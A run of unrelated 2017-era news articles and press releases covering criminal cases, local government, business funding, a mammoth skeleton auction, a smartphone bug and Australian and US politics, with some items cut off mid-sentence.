Of the four suspects in the killings, Clemons, who was 19 at the time, and Marlin Gray, who was 24, were adults. Antonio Richardson, who was 16, and Daniel Winfrey, 15, were tried as adults. Gray, Clemons and Richardson were given the death penalty. Gray was executed in 2005. Richardson later had his sentence commuted to life without parole because of his age. Winfrey testified against the other three in exchange for a 30-year sentence and has since been paroled.

On Monday, Clemons also pleaded guilty to two counts of rape and one count of first-degree robbery. In all, hell serve five consecutive 30-year terms.

Over the years, he repeatedly denied any role in the killings and rapes. Handsome and eloquent, he attracted an international group of supporters, including the ACLU and Amnesty International, which sold green Justice for Reggie T-shirts.

Clemons attracted sympathy after he claimed  and a judge later confirmed  that St. Louis police had beaten a confession out of him. The late Nels Moss, the assistant circuit attorney who prosecuted him in 1993, withheld evidence of the beating and was repeatedly allowed to inflame the jury. Clemons lawyers, a husband-and-wife team who were going through a divorce, werent fully invested in his defense.

Two decades later, a special master appointed by the Missouri Supreme Court found trial errors, and the high court ordered a new trial, which was set to begin Jan. 8. The Missouri attorney general was seeking the death penalty (the circuit attorneys office said it couldnt afford a death penalty case) but instead settled for the plea deal.

With five 30-year sentences running consecutively, Clemons is unlikely ever to be paroled. He could have gotten life without parole 24 years ago. The death sentence accomplished nothing. By playing the victim for a quarter of a century, Clemons strung out the grief for the Kerry family and cast doubt on defendants in other cases who might truly be falsely accused. His sideshow antics helped detour the course of justice, but at least justice is finally served.
On 19 December Future Earth announced two co-chairs to its new Advisory Committee: Leena Srivastava, Vice Chancellor of TERI School of Advanced Studies in New Dehli, India , and Johan Rockstrom, Executive Director of Stockholm Resilience Centre in Sweden.



"We are thrilled to welcome Leena Srivastava and Johan Rockstrom to lead our new Advisory Committee. They bring with them not just decades of experience in scientific research but a commitment to turning knowledge on sustainability into on-the-ground action." said Amy Luers, Executive Director of Future Earth.



Future Earth is a major international platform bringing together networks of tens of thousands of researchers, innovators, and professionals across the globe working to accelerate a transition to a sustainable world. The new co-chairs will help guide Future Earths research and innovation projects and act as ambassadors for the mission.



"The health of the planet is at stake and it determines the health of people and our societies. Nothing less than a transformation to global sustainability is needed to meet the Paris Climate target and the Sustainable Development Goals. Future Earth provides ground-breaking research on the state of the planet and critical insights and links between science and society internationally for societal transformations. I really look forward to being a part of Future Earth during this critical period," Johan Rockstrom said.



The newly-formed Advisory Committee will succeed the Future Earth Science and Engagement Committees, which played an important role in guiding the organisation through its initial start-up phase between 2014 and 2017. Rockstrom and Srivastava will work together with the leadership team of Future Earth to build the full Advisory Committee. This committee will be drawn in part from members of the original Science and Engagement Committees and from additional selections based on nominations from the Governing Council.


Adam Leach outside court.

A VAN driver who failed to see an 82-year-old woman crossing the road ahead of him, as he exceeded the speed limit through Bidford, has been jailed.

Adam Leach had pleaded guilty at Warwick Crown Court to causing the death of great-grandmother Clare Wyatt in January this year by careless driving, having originally denied the charge.

He was sentenced to just 28 weeks after a judge explained that sentencing guidelines put the offence in a category with a 36-week starting point  before giving him credit for his plea.

Leach, 33, of Wilson Drive, Cheltenham, was also banned from driving for 21 months and ordered to take a re-test before getting his licence back.

Prosecutor Andrew Jackson said the tragic events took place on the B439 at Tower Hill, Bidford-on-Avon, as Leach, who had two previous speeding convictions, was on his way to work.

The self-employed electrician was in his white Berlingo van on his way from his home to Stratford, and he drove through the village at 35-40mph at around 8.15am.

Mrs Wyatt was walking home from her early morning job at the Frog pub in High Street, Bidford, and had to cross Tower Hill.

She was more than halfway across when she was struck by Leachs van and killed instantly.

Mr Jackson pointed out that an accident investigator who examined the scene found that Leach would have been able to see Mrs Wyatt when he was 90 metres from her, giving him six seconds or so to have reacted to her presence if he was doing 30mph.

In fact, he admitted he had been doing 35-40  but even at 35mph he would have had 5.7 seconds to react, and Mr Jackson observed: In motoring terms, that is a long time.

After the tragic impact, he pulled up, and was described by another motorist as being distraught and hysterical, accepting he was responsible but saying she had come from nowhere.

And when he was interviewed ten days later, Leach, who was familiar with the road and knew it had a 30mph limit, said the 82-year-old had suddenly appeared in the middle of the road, and he had not seen her until it was too late.

Judge Richard Griffith-Jones said he believed the case was in the middle bracket of the sentencing guidelines, which Mr Jackson observed would result in a starting point of 36 weeks, with a sentencing range of a community order to two years custody.

Eugene Hickey, defending, said that an impact statement by a member of Mrs Wyatts family expresses the sentiment that they would have preferred a trial because they would have come to understand what had happened.

But he commented: If there had been a trial, there would have been no suggestion at all that the deceased was at fault.

It would simply have been a question of whether his number of seconds of inattention was careless. I gave my advice, and he took that advice and pleaded guilty.

He has struggled to come to terms with the fact that his driving was responsible for the death of another human being.

It is clear in the pre-sentence report that he is very remorseful. He is devastated by what hes done. He has been having nightmares and flashbacks.

Mr Hickey pointed out that the author of the report had asked Leach what the impact of a driving ban would be for him, to which he had responded: Thats the least of it, a lady has died.

Asking the judge to consider a suspended sentence, Mr Hickey added: The gravamen of the offence is inattention. He simply did not see the deceased when he should have done.

He admits he was in breach of the speed limit, but the gravamen here is failing to see.

But jailing Leach, Judge Griffith-Jones, who described the incident as a catastrophe, told him: An active, popular, much-loved elderly lady lost her life because you werent paying attention.

You have two previous convictions for speeding, but the extent to which you were exceeding the speed limit on this occasion is not as great as many cases that come before the court.

It was inattention to what you were doing, a failure to understand the risk for catastrophe when each of us drive our motors.

I am afraid I do conclude that the speeding convictions are aggravating features here, but balanced against that was your undoubtedly remorseful behaviour as soon as you had done this.

I take into account the effect this sentence will have on your family, but I am afraid I am quite unable to conclude that this is a sentence which can be suspended.

Judge Griffith-Jones then added: I want you and everyone in court to know I am conscious to the life that has been lost. I dont want anyone to think any sentence can equate to the loss of anyones life, let alone such a wonderful woman as this.
LocalBTV Creator Didja Raises $12 Million in New Funding

Serving the Growing Local Broadcast Antenna TV Audience and Expanding to New Markets in 2018

MOUNTAIN VIEW, California( )

Didja, a technology company dedicated to augmenting the television experience in delightful ways, has secured an additional $12 million in funding, bringing the total capital raised to $22 million to date. The round was led by Vestech Partners, a private equity investment group, in addition to other angel investors and family offices. Much of the funds will be used to support the expansion of the companys LocalBTV app, which gives viewers mobile access to local broadcast antenna programming, to new markets, with Los Angeles availability expected for early 2018.

Earlier this year, Didja launched LocalBTV, the first and only app to bring access to local broadcast TV programming to viewers in one seamless mobile experience. LocalBTV is available in Phoenix, AZ and in the greater San Francisco Bay Area, where BayAreaBTV is enhancing the local broadcast TV experience for an estimated 2.7 million households in the 11-county region. Currently, BayAreaBTV has 35 local channels and is continuing to expand its offering regularly.

Consumers have more TV viewing options than ever before and are finding local broadcast TV to be a fun and casual way to enjoy live TV along with their other viewing options like network direct to consumer apps such as Univision NOW or CBS All Access, said Jim Long, CEO of Didja. Our users are delighted with the LocalBTV app and this round of funding will allow us to fill out that offering by adding network affiliates and expanding to many more cities in the next two years.

Didjas LocalBTV gives independent stations and national networks alike access to untapped revenue streams by reaching in-market antenna audiences on any mobile device, said Riadh Fakhoury, founder of Vestech Partners. Engaging new audiences, like smartphone viewing Millennials, is obviously a huge win for broadcast stations and networks. But the most immediate beneficiaries are underserved households, including a diverse array of bilingual families, who now have access to local and community programming, as well as DVR and channel guide capabilities. Were thrilled to be a part of the growth of a media company dedicated to improving and opening up access to broadcast media to more households in every metro area across the United States.

The LocalBTV app can be downloaded in the iTunes store here and Google Play store here.

Click here for video about LocalBTV. For more information, please visit https://www.didjatv.com/.

About Didja

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CHARLES CITY -- A Charles City preschooler died Saturday at the Floyd County Medical Center following a brief illness.

Charles City Community Schools made the announcement about 4-year-old Gabriella Roundy on its Facebook page. She was a student at Washington Elementary School.

"This was extremely sudden," said Justin DeVore, a spokesman for the district. School counselors will be available this week for grief support.

"We have counselors at all of our schools," he noted. "We're probably more focused on the elementaries right now."

A Go Fund Me account has been set up online to help pay costs of the funeral and transporting her body to Chicago for burial. According to information on the site, she is one of three daughters of Ashley Chapman and Daniel Roundy.

Donate to the effort at gofundme.com by searching "Gabriella Roundy Memorial Fund."

 Andrew Wind
A car has crashed into a tree on Pyes Pa Road/State Highway 36.

Emergency services have been called to the scene.

A police spokesperson says the highway is closed in both directions.

"A single vehicle has gone into a tree, between Williams Road and Taumata Road.

"The road will be closed while the serious crash unit is at the scene.

"Motorists are asked to avoid travelling this route if possible."

Diversions are in place at Oropi Gorge Road.

At the scene?

Call 0800 SUNLIVE or email photos to newsroom@thesun.co.nz
A group of Omokoroa locals have put together a plan to guide Omokoroa through the next decade.

Led by Don Cameron, an eight-strong group has reviewed the previous 2010 Community Plan to make it relevant to the changing environment and population growth in Omokoroa.

It covers culture, heritage and the arts; social and community values; residential, commercial and industrial development; the natural environment; recreational opportunities and connectivity (cycleways, walkways, roading).

We live in a special part of New Zealand. We all need to be active in ensuring the elements of community life that make Omokoroa special are retained and enhanced for the benefit of all residents and that we keep pace with change, says Don.

The 2017 Omokoroa Community Plan aims to capture and protect the essence of community life.

While its an aspirational plan, it provides a platform for the community to relate to any agency, organisation, funder, or not for profit.

It can also be used as the basis to make a formal submissions - such as to Western Bay Councils Long Term Plan.

It is vital that locals get a good grasp of the key actions in the Community Plan and put in their submissions to Councils Long Term Plan, says Don.

This is the only way peoples voice will be heard  and the more submissions that are made, the greater chance we have of the key actions in the Community Plan getting implemented by Council, says Don.

Councils Community Relationships Advisor Glenn Ayo says the Plan is written by the community, for the community, with Council providing resource support and facilitation.

Council is mandated to help build strong communities. Any individual or group can now align their actions with this Plan and move ahead with confidence, says Glenn.

The Omokoroa Community Plan can be viewed here.
Every weekend since October, Powhaitere has been sending out a kind of sirens song over the Western Bay of Plenty, and its working.

As the Sirens of Greek mythology used enchanting songs to lure sailors to their island, the distinctive sound of the Pratt and Whitney engines of the Douglas DC3 Dakota aircraft is calling in passengers.

A number of those on Sundays scenic flight were tempted to join the trip after hearing the planes distinctive sound, as she passed over their homes during previous weekend trips.

The sound of a DC 3s Pratt and Whitney engines is unmistakable and wherever the planes fly, people come out to watch, says pilot Keith Mitchell.

Air Chathams has again joined forces with Classic Flyers at Mount Maunganui to operate 30 minute scenic flights over Tauranga and up the coast to Waihi Beach in a weekend service which runs until February 2018.

Taking a flight on Powhaitere really is going back in time. Theres no x-ray machines or bag checks to under-go and the 28 seater has leg room the envy of todays long haul passengers.

The cabin of the DC-3 is spacious and carries 28 passengers.

There is, however, a pre-flight briefing given on Sunday by Keith Mitchell who outlined something of the history of the aircraft built in Oklahoma City in 1945.

It was war time and these aircraft were built mainly by women because the men were serving overseas.

Collectively they were known as Rosie the Riveters and they turned out one of these aircraft from the assembly line every three hours. When we opened up one of the wings for repairs last year we found the name Jane, inscribed there. She must have written it while working on the plane, says Keith who was joined on the flight deck on Sunday by co-pilot Daryl Petit.

The DC 3 may have make distinctive noise, but the cabin is well sound-proofed and once the seat belt signs are off, passengers are welcome to walk around, enjoying the view, or visit the flight deck.

Powhaiteres communication systems are modern enough to be interfered with by cellphones, which is why air hostess Vicki Hannah, during her safety briefing, requested all electronic devices be switched to flight mode.

Sundays weather was over-cast but the relatively low-level flight provided opportunities to enjoy the scenery below including picking out familiar points of interest and the channels within the Tauranga Harbour.

A fly-pass over Katikati.

The flight passed over Mount Maunganui beach, up the coast along Matakana Island, inland to circuit Katikati, then out to the Bowentown Entrance, Waihi Beach, back down the harbour and over the city.

The DC 3 has a wing span of 95 feet, an overall length of 64.5 feet and a height of almost 15 feet. Its two Pratt and Whitney R-1830-92 engines have 1250 break horse power. It has a cruise speed of 130 knots, a range of 1200 nautical miles and can operate comfortably into unpaved fields of 1000 metres or sometimes less, carrying a standard load of three tons.

The aircraft has enjoyed a colourful history, from vital war service including troop carrier and supply aircraft, to NAC passenger aircraft, to service in Samoa, back to New Zealand and top dressing and aerial mapping work and then a return to passenger services in Tonga.

Today the DC 3, which has completed in excess of 48,862 hours of flying time, is owned by Air Chathams and is used for schedule flights, charters, scenic flights and airshows.

Pilot Keith Mitchell, left, and co-pilot Daryl Petit on the flight deck of the DC 3 called Powhaitere.

Down town Tauranga and Mount Maunganui as seen from the DC 3 Powhaitere.
MASON CITY | An all-white jury of five men and nine women was selected Monday from a pool of 28 people to preside over a second-degree murder trial in Mason City.

Larry Whaley, 61, is accused of fatally shooting Samantha Teeter, 19, through his apartment door in Mason City last December.

Whaley, who is black, has written a number of letters to Cerro Gordo County District Court Judge Christopher Foy, alleging his rights have been violated and that he is being discriminated against because of his race, among other issues.

Dont black lives matter in this county, Whaley wrote on Aug. 6.

He also told the judge he fired into the door because he believed two people he knew were breaking into his apartment.

Douglas Hammerand, one of the state's assistant attorney generals, spent over an hour Monday afternoon questioning potential jurors about topics ranging from whether they knew Mason City officers who investigated the shooting, to being able to realize that CSI  a popular TV series  is not a reflection of how actual court cases work.

After Hammerand finished, Jill Eimermann, an assistant state public defender, spent less than an hour questioning the same pool of 28 potential jurors.

Her line of questioning asked whether they believed Whaley had to testify, and what they believed "presumption of innocence" meant, among other topics.

Hammerand and Cerro Gordo County Attorney Carlyle Dalen are prosecuting the case. Whaley's attorneys are Eimermann and Mike Adams, who are court-appointed attorneys.

Throughout the process, some potential jurors helped pass the time with colorful answers to the attorneys' questions. One example was when Hammerand asked if any of the 28 jurors knew each other.

One man did, as a relative was sitting right next to him. Both were picked as part of the final 14 people to preside over the trial.

"We're co-workers, related, beer-drinking partners," the man said, which was received by laughter throughout the crowded courtroom.

After both Hammerand and Eimermann had finished questioning, they took about 10 minutes to select the final jury, which occurred about 5 p.m.

The trial is scheduled to continue tomorrow at 9 a.m., and expected to last at least through this week.
CLEAR LAKE | Two people were arrested in Clear Lake Monday after a search warrant yielded more than 70 grams of marijuana, a grow operation and drug paraphernalia, police say.

James Linden Thornton, 69, and Penny Sue Frenz, 56, were arrested at a their residence in the 700 block of Fifth Place North, where Clear Lake police executed a search warrant about 2:20 p.m.

During the search warrant, police said Thornton was found to possess more than 42.5 grams of marijuana, while Frenz possessed more than 70 grams of the drug.

Police said Frenz was attempting to flush the marijuana down a toilet in her bedroom as officer entered the home.

A room in the home was discovered containing items which are used to grow marijuana. The criminal complaint said Thornton admitted to growing marijuana.

Both were charged with felony failure to affix drug stamp, two counts of controlled substance violations and misdemeanor possession of drug paraphernalia.

Court dates have not been set. Both are being held on $15,000 bond.

 Courtney Fiorini
MASON CITY | The City Council will be asked Tuesday night to hire two longtime Iowa city administrators to help find a new one for Mason City.

Pending council approval, Mark Jackson, city administrator in Story City for the past 24 years and Brent Hinson, former city administrator in Garner with 14 years experience in city government, will help with the search. Both operate consulting firms helping cities in the hiring process.

Former City Administrator Brent Trout resigned in October to take a similar position in Topeka, Kansas. Finance Director Kevin Jacobson has taken on the role of interim city administrator.

Jacobson said he is recommending the hiring of Jackson and Hinson to work with the city's human resources department in finding Trout's successor.

"Partnering with Jackson and Hinson will expand our ability to efficiently identify an qualified pool of applicant for a fraction of the cost of a normal external search firm," Jacobson said in a memo to the council.

Mason City administrator search to begin after election MASON CITY | City officials have decided not to rush the process of finding a new city admin

Jackson and Hinson are proposing a flat fee of $6,600. Jacobson said search firms usually charge $15,000 to $30,000.

He is hoping to open the recruitment process Friday with an initial review of applications beginning on Jan. 26, 2018. He hopes to have a new administrator picked by March.

Jackson has had much interaction with Mason City officials. He has been the facilitator at Mason City Council goal-setting sessions for the past 10 years and has a good working knowledge of Mason City government, Jacobson said.

As a former board member of the Iowa League of Cities, he knows many city administrators throughout the state.

Jacobson said working together, Jackson and Hinson have assisted with 14 city manager/administrator recruitments over the past several years.

The council meets at 7 p.m. in the Mason City Room of the public library.
The skeleton of a woolly mammoth was auctioned for more than half a million dollars. It is the largest of its kind that now belongs to a private collector, and what's astounding is that a majority of it  a whopping 80 percent  is original bone. The rest is resin used to complete the assembly.

The new owner paid $646,000 to claim ownership of the bones, which were previously on display inside a wine cellar in France. Pierre-Etienne Bindschelder, CEO of a waterproofing company based in Strasbourg, France, was the one who purchased it.

Why would a waterproofing company buy a mammoth skeleton? Well, one look at Soprema's logo  a mammoth, no less  instantly makes it clear that Bindschelder holds some kind of connection with the bones.

Moving forward, anyone who'll visit Soprema's Strasbourg headquarters will get a chance to gawk upon the humongous mammoth skeleton, its sheer and unbridled immensity in full display.

"We are going to display it in the lobby of our firm," the CEO said. "I think we have enough room."

The bones are unique because while there are a hundred mammoths belonging to that species, the size and quality of its tusks are noteworthy. Each of its two tusks weighs 80 kg. (176 lbs), not to mention that they're also 90 percent intact.

The Mammoth Skeleton

The skeleton, a male mammoth, was unearthed around 10 years ago in the Siberian Permafrost. Scientists say its teeth show signs of decay, which implies that it could have died from not being able to graze properly. Towering 10 feet tall, it is one of the largest ever found.

Climate Change Affecting Siberian Permafrost

It's a disconcerting fact that climate change is melting the Siberian Permafrost at a significantly rapid rate, but this is precisely the reason why ancient skeletons are being unearthed.

"So not only are we getting these incredible skeletons coming out, but also pretty much as they died as well," said David Gelsthorpe, curator for the Earth Science collections at Manchester Museum. "We're getting things like fur, the skin, the muscles, the organs  and even the last meal."

The first mammoth skeleton was also sold in an auction in France in 2006, but for a much lower price of $176,000. Shortly thereafter, the auction house sold a handful of other ancient and historical artifacts. The practice immediately drew scrutiny from scientists because they preferred to seize control of the market for fossils, which then drew ire from private collectors.

 2022 TECHTIMES.com All rights reserved. Do not reproduce without permission.
Some Pixel 2 XL owners have reported that the fingerprint scanner on their device is slower after installing the Android 8.1 Oreo update.

Google is looking into the matter and it's expected to address the issue soon. In the meantime, however, there is one workaround that should fix the reaction speed of the Pixel 2 XL fingerprint scanner.

Pixel 2 XL Android 8.1 Update

Google started pushing the latest Android 8.1 Oreo to its Pixel and Nexus devices in early December. The update has been mostly smooth and without issues, but not for all.

Shortly after the release, some Pixel 2 XL owners took to the official Google support forum to report that their device's fingerprint scanner takes longer to respond on Android 8.1 than it did on Android 8.0. At the same time, it appears that it also takes longer for the display to turn on.

"Its not that the fingerprint scanner works slower because I feel the vibration very fast after I put my finger on the scanner but than it takes really long before the screen actually turns on," one Pixel 2 XL owner writes on Google's support forum.

Other Pixel 2 XL owners echoed the same concerns, reporting that their devices are indeed taking longer to unlock after installing the Android 8.1 Oreo update. Community manager Orrin, who works at Google, said he would gather additional information and bug reports from affected users.

Pixel 2 XL Workaround For Faster Fingerprint Scanner

Until Google gets to the bottom of this issue and comes up with a solution, it appears that a workaround does the trick and makes the Pixel 2 XL fingerprint scanner fast again.

More specifically, some Pixel 2 XL owners have noticed that turning on the smartphone's always-on display feature fixes the speed of the fingerprint scanner, Android Central reports. The always-on display, however, is a power-hungry feature that will take a toll on the device's battery life, so this might not be the best solution for everyone.

Those who prefer not to enable this feature have no other choice for now but to put up with a slower Pixel 2 XL and wait for an official fix. Since Google is already aware of the issue and it's looking into it, reaching out to affected users for bug reports, it shouldn't be too long before it offers a solution.

Have you experienced any issues with your Pixel 2 XL after the Android 8.1 update? Share your experience in the comments section below.

 2022 TECHTIMES.com All rights reserved. Do not reproduce without permission.
iStock/Thinkstock(WASHINGTON) -- Twelve House Republicans, including 11 who hail from districts in states won by Hillary Clinton in the 2016 presidential election, voted against the GOP's ambitious $1.5 trillion measure that rewrites the nation's tax code.



The 11 blue state Republicans who voted no are all from California, New York or New Jersey, and represent mostly suburban districts that Democrats are targeting in their quest to retake the House in the 2018 midterm elections.



Representatives Dan Donovan, R-NY, John Faso, R-NY, Rodney Frelinghuysen, R-NJ, Darrell Issa, R-CA, Peter King, R-NY, Leonard Lance, R-NJ, Frank LoBiondo, R-NJ, Dana Rohrabacher, R-CA, Chris Smith, R-NJ, Elise Stefanik, R-NY and Lee Zeldin, R-NY all voted against H.R. 1, The Tax Cuts and Jobs Act.



Rep. Walter Jones, R-NC, was the only Republican from a state that Donald Trump won in 2016 to vote against the bill.



The Democratic Congressional Campaign Committee (DCCC), immediately pounced on news of the bill's passage, painting the legislation as a giveaway to wealthy Americans and promising to use it as an issue in the upcoming midterms.



Democratic candidates are already running against this tax scam and winning the debate in their communities, and passing this historically unpopular bill will have far-reaching electoral consequences for House Republicans next year," DCCC Communications Director Meredith Kelly said in a statement Tuesday.



Recent polling on the GOP tax plan indicates that many believe the bill benefits wealthy Americans over the poor and middle class. In a CNN/SSRS poll released Tuesday, 66% of respondents said the bill will do more for wealthy Americans than the middle class or the poor, and 65% of respondents in a Quinnipiac poll released on December 13 said the wealthy will benefit the most from the plan.



In defending their votes, the House Republicans who voted no cited a new limit on a deduction key to their constituents, and pointed to the already high tax burden they faced as another reason for their vote.



"The people of New Jersey already carry an extremely heavy tax burden. They need and deserve tax cuts. Unfortunately, H.R. 1 caps the federal deduction for state and local taxes (SALT) which will lead to tax increases for far too many hardworking New Jersey families," New Jersey Rep. Rodney Frelinghuysen, the chairman of the House Appropriations Committee, said in a statement released Tuesday. "I had hoped to be able to vote for a pro-growth tax bill. However, H.R. 1 forces New Jersey residents to pay for tax cuts for residents in other states. I voted No!"



Rep. John Faso of New York said the bill did not fit his criteria of helping "increase economic growth, increase worker paychecks, incentivize small business investment and ensure New York families are better off."



Others, including Zeldin, Stefanik and Rohrabacher had already announced their opposition to the bill earlier this week.

Copyright  2017, ABC Radio. All rights reserved.
What I found most chilling was the casual and lively banter of hostility these two espoused in ridiculing the young Latino athletes. It seems clear they have engaged in this conviviality of hate before. As expressed in their apology, no one was supposed to hear this conversation. That may be true. However, the reality is their closet bigotry has now been exposed for all to see. And I don't but their explanations of, "This is not who I am!" That's a common and tired alibi used when one is trying to explain away their prejudice to the public.
A consultant who just a few months ago advised the East Baton Rouge Council on Aging on how to address staffing needs has been hired as the organization's chief administrative officer.

The Council on Aging announced Monday that it had hired James Gilmore for the position. He was previously an assistant chief administrative officer in Mayor-President Sharon Weston Broome's administration before resigning in August.

Gilmore's resignation came after a public uproar about a federal grant for the Baton Rouge Area Violence Elimination program that Gilmore briefly oversaw.

+3 Louisiana Inspector General investigating BR Council on Aging director, board member The state Inspector General's office has issued at least five subpoenas in an investigation into the East Baton Rouge Council on Aging's execu

The Council on Aging is on the verge of receiving an infusion of property tax money, thanks to a dedicated tax that voters approved last year for the agency. The Council on Aging's budget will skyrocket from $3.2 million to $7.8 million annually starting in 2018.

Gilmore made a lengthy presentation at a Council on Aging board meeting in October on how the organization might be restructured and the ways in which staffers throughout the Council on Aging were underpaid.

Gilmore said at the time that he was working as a pro bono consultant for the Council on Aging.

Council on Aging Executive Director Tasha Clark-Amar also said at the time that she wanted to hire a chief administrative officer as an executive-level position to help run the Council on Aging because her chief operations officer was overextended.

Pay raises possibly on deck for East Baton Rouge Council on Aging employees The East Baton Rouge Council on Aging is mulling whether to give pay raises to its employees before the agency adds 40 positions over the next

Gilmore served in former Gov. Kathleen Blanco's administration as an adviser on housing and community development before becoming the director of Gov. John Bel Edwards' Children's Cabinet. After he resigned his job in Broome's administration, Gilmore continued working for his consulting firm, Bayard Research and Management Group. He also took over as the owner of Revive Wellness Spa on SouthFork Ave.

In his new capacity as chief administrative officer for the Council on Aging, Gilmore will oversee the agency's human resources, fund development, performance management, information systems and more.

"I have watched Dr. Gilmore serve the people of Baton Rouge and the State of Louisiana for several years, and I know he has a passion for public service and ensuring that those most in need have access to the resources they require to live a better quality of life," Clark-Amar said in a news release Monday.

Council on Aging board chairwoman Jennifer Moisant described Gilmore as a dedicated adviser, consultant and volunteer for the Council on Aging over the last five years.

Gilmore has also been one of the most vocal defenders of Clark-Amar and the Council on Aging amid much turmoil over the past year, as Clark-Amar is in litigation with a family that accused her of using her position for wrongdoing. The state inspector general is investigating both Clark-Amar and Council on Aging board member Dorothy Jackson.

Read the resignation letter: Top Mayor Broome aide who oversaw BRAVE leaving Sept. 1 One of Mayor-President Sharon Weston Broome's top deputies and first hires is resigning from his post as assistant chief administrative officer.

The Louisiana Legislative Auditor announced in May that the Council on Aging may have broken both state and federal laws in its bid for a dedicated tax.
A Baton Rouge man's conviction and life prison term in the 2011 beating death of his girlfriend's toddler has been upheld by the Louisiana Supreme Court.

Randy Demond Parker, 29, was found guilty in 2015 of second-degree murder in the killing of 23-month-old Demarcus Gray Stokes Jr.

Parker beat the child because he would not sit still for a haircut and after he urinated on himself, authorities said.

An autopsy revealed bleeding under the boy's scalp and on the surface of his brain, and a considerable amount of bruising on his head, torso, arms and legs.

The child's mother, Kimyia Stokes, 28, is serving a 20-year prison term for obstruction of justice. She pleaded guilty to that charge in 2015.

+2 Mother gets 20-year sentence on obstruction conviction in the 2011 beating death of her toddler; boyfriend serving life With her boyfriend already serving a life prison term in the 2011 beating death of her 23-month-old son, a Baton Rouge woman who witnessed som

Stokes told investigators that Parker beat her son three times in less than 24 hours in October 2011 at Parker's Erie Street home. She said she witnessed two of the beatings and heard her son screaming during the third.

Stokes also told police she and Parker dressed the boy after he stopped breathing and "waited around trying to figure out what to do and say" before Parker finally called 911.

Parker told detectives he was "full of alcohol" the night he punched Demarcus with a closed fist and continued to hit the boy after he fell to the ground.

Parker was tried on a first-degree murder charge, but prosecutors chose not to seek the death penalty after receiving evidence that he was possibly intellectually disabled. The U.S. Supreme Court has prohibited intellectually disabled inmates from being executed.

State District Judge Trudy White found Parker guilty of second-degree murder and sentenced him to a mandatory term of life behind bars.

The state Supreme Court affirmed his conviction and sentence on Friday without issuing reasons. A state appeals court upheld the conviction and sentence in February, saying Demarcus had been "severely abused."

East Baton Rouge Parish District Attorney Hillar Moore III said Tuesday that the state's high court made the right call in affirming the Parker's conviction and sentence.

"Our office put in a tremendous amount of work into this case and we believe that the jury's verdict and decision of the Supreme Court have brought justice for Demarcus Stokes Jr.," Moore said.

Parker had previously been convicted of attempted second-degree murder and simple assault.
Just five days after getting out of jail, a small-time crook named Smokey White was caught in an armed robbery in Kenner. He approached two me
MELBOURNE, Australia, Dec. 18, 2017 (GLOBE NEWSWIRE) -- PaperCut, a global print management software company, has been named an Outstanding Cost Accounting & Cost Control Solution award winner in the Document Imaging Software category as part of Keypoint Intelligences Buyers Lab (BLI) 2018 Pick Award.



Winners of the annual award are selected by BLI - the worlds leading independent evaluator of document imaging software, hardware and services. Recognized among world-class document imaging and management companies, PaperCut MF and PaperCut NG v17.0 were selected by BLIs analysts as the top cost-saving solution for its unique tracking, reporting, billing, customization and support features.

Were thrilled to be recognized by BLI as the best solution to help save on print management costs for businesses of all types and sizes around the world, said Chris Dance, CEO of PaperCut. To be chosen alongside other document imaging leaders is a true testament of our industry standing and confirms our commitment to helping organizations manage their print-related resources - meaning our customers save money in the process. For businesses looking for a print management software, PaperCut is an easy-to-deploy, easy-to-use solution thats also easy on businesses budgets.

Released in March 2017, PaperCut MF and PaperCut NG v17.0 offer accurate tracking, accounting, cost-recovery and cost-reduction features, with PaperCut MF delivering essential pull-printing functionality, mobile-print support and scan capture and routing for multi-function printers (MFPs). This allows organizations to see who is on the network and access customizable reports which show how much each activity costs. Both products accounting features track usage across departments, individual users and clients, and allow for organizations to bill internally or externally as needed. Also, system admins can offer customizable print rules that encourage more cost-efficient printing and reduce a hardcopy output costs.

BLIs Document Imaging Software Picks are subjected to a rigorous, 12-month test cycle, which evaluated products on key attributes such as its features, usability and value. Each product that passes BLIs tests are awarded a platinum, gold, silver or bronze rating, with the best performers qualifying as Pick contenders.

Show us a school or business that doesnt have a cost-accounting and cost-control system in place, and well show you an organization that is wasting money on hardcopy output, said Jamie Bsales, Director of Software Analysts at Keypoint Intelligence. And while theres no shortage of feature-rich output management platforms to choose from, finding one that wont break the budget or the back of your IT personnel is more of a challenge. Thats where PaperCut MF and PaperCut NG shine. These solutions deliver all the functionality most organizations are likely to need in order to track, recoup and hardcopy expenditures in affordable packages that are easy to deploy and administer.

This award represents the fourth BLI recognition PaperCut has received, having won the 2015 Pick Award in Outstanding Print Management Solution, the 2012 Pick Award for PaperCut v12 in Outstanding Print Management Solution and the 2011 Pick Award for PaperCut v11.2 in Outstanding Cost Recovery Solution.

About PaperCut Software

Around the world, workplaces are wrestling with printing costs and print management complexity. PaperCut is solving those problems, one workplace at a time. Since 1998, PaperCut has helped 50 million users in 175 countries save trillions of pages of paper. With PaperCut in their print environment, IT managers solve their nagging print problems once and for all. How? Its two software solutions  PaperCut MF and PaperCut NG  are cross-platform and vendor neutral. That means they work with any printer and any operating system. Plus, both solutions feature ground-breaking technology such as mobility print, secure print release, and rich reporting tools. Businesses of all shapes, sizes and industry benefit from the control, security and financial and environmental savings that PaperCut software was built for. Learn more at www.papercut.com.

Media Contact

Meghan Brown

10Fold Communications for PaperCut

papercut@10fold.com

415-800-5389
The Turnbull government will reverse course and allow businesses to buy overseas carbon credits to meet Australia's emissions reduction targets, a policy long questioned by climate experts and once labelled "dodgy" by Tony Abbott.

Backed by industry and some climate change observers, the move allows big businesses to purchase emissions reductions in other countries - most likely at lower prices - to offset their own carbon production.

Environment and Energy Minister Josh Frydenberg on Tuesday gave "in-principle" support to joining 60 other nations - including Canada, New Zealand, Japan and South Korea - in an international trading market once rules are finalised after 2020.

"Our thinking is to find the lowest-cost abatement," Mr Frydenberg said on Tuesday. "When it comes to helping the environment, it doesn't matter if you've reduced a tonne of CO2 here in Australia or in another country."
Peter Dutton: was Immigration Minister, now heads up the new Home Affairs super ministry.

While some of the changes - such as Peter Dutton's promotion to Home Affairs and George Brandis' exit from Parliament - were expected, there were plenty of other winners and losers in the list:

Prime Minister Malcolm Turnbull announced a significant reshuffle of his frontbench on Tuesday.

Bridget McKenzie: leapfrogs from the backbench to cabinet as Minister for Sport, Rural Health and Regional Communications.

David Littleproud: huge promotion for the Nationals MP. He's only been in Parliament 18 months and now heads to cabinet as Minister for Agriculture.

John McVeigh: another first-term MP. The Queensland Liberal goes straight to cabinet as Minister for Regional Development.

Barnaby Joyce: swaps Agriculture for Minister for Infrastructure and Transport.

Christian Porter: promoted from Minister for Social Services to Attorney-General.
Following its more mobile Blade and Blade Stealth laptops, Razer has introduced its top-of-the-line Blade Pro gaming-focused machine in Australia for the first time.

